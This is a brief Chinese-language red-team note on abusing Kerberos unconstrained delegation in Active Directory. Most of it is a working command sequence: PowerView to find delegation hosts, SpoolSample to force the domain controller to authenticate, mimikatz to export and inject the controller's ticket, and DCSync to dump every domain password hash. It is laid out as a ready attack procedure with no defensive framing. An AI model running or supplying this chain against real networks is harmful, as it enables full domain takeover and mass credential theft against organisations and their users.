一、委派简单介绍
域中如果出现 A 使用 Kerberos 身份验证访问域中的服务 B,而 B 再利用 A 的身份去请求域中的服务 C ,这个过程就可以理解为委派。
用户需要访问主机s2上的HTTP服务,而HTTP服务需要请求其他主机的SQLServer数据库,但是S2并不知道用户是否有权限访问SQLServer,这时HTTP服务会利用用户的身份去访问SQLServer,如果User有权限访问SQLServer服务才能访问成功。
一、非约束委派+Spooler BUG利用
powershell -exec bypass Import-Module .PowerView.ps1
查询域中配置非约束委派的主机:Get-NetComuter -Unconstrained -Domain yiwang.com
利用条件,需要设置一台主机账户开启了非约束委派域内机器的权限,实际可配合powerview脚本查找主机,域控主机需要为win2012 server r2 以上 版本,Print Spooler服务默认是自动运行的
Spooler利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或ntml对攻击者选择的目标进行身份验证。
GitHub POC:https://github.com/leechristensen/SpoolSample //此处使用域用户去执行,否则会导致程序崩溃需要将此域用户添加入本地管理员组为mimikatz做准备
命令: SpoolSample.exe dc.redteam.com WEB-1.redteam.com
使用mimikatz导入票据
privilege::debug //提升权限
kerberos::purge //清除票据
sekurlsa::tickets /export //导出票据
kerberos::ptt [0;862bdd]-2-0-60a10000-DC$@krbtgt-REDTEAM.COM.kirbi //导入票据
lsadump::dcsync /domain:redteam.com /all /csv //通过dcsync获取域内所有hash
参考链接:
https://mp.weixin.qq.com/s/_wwTo7JcFV_lXaxhgMFJCQ
https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.html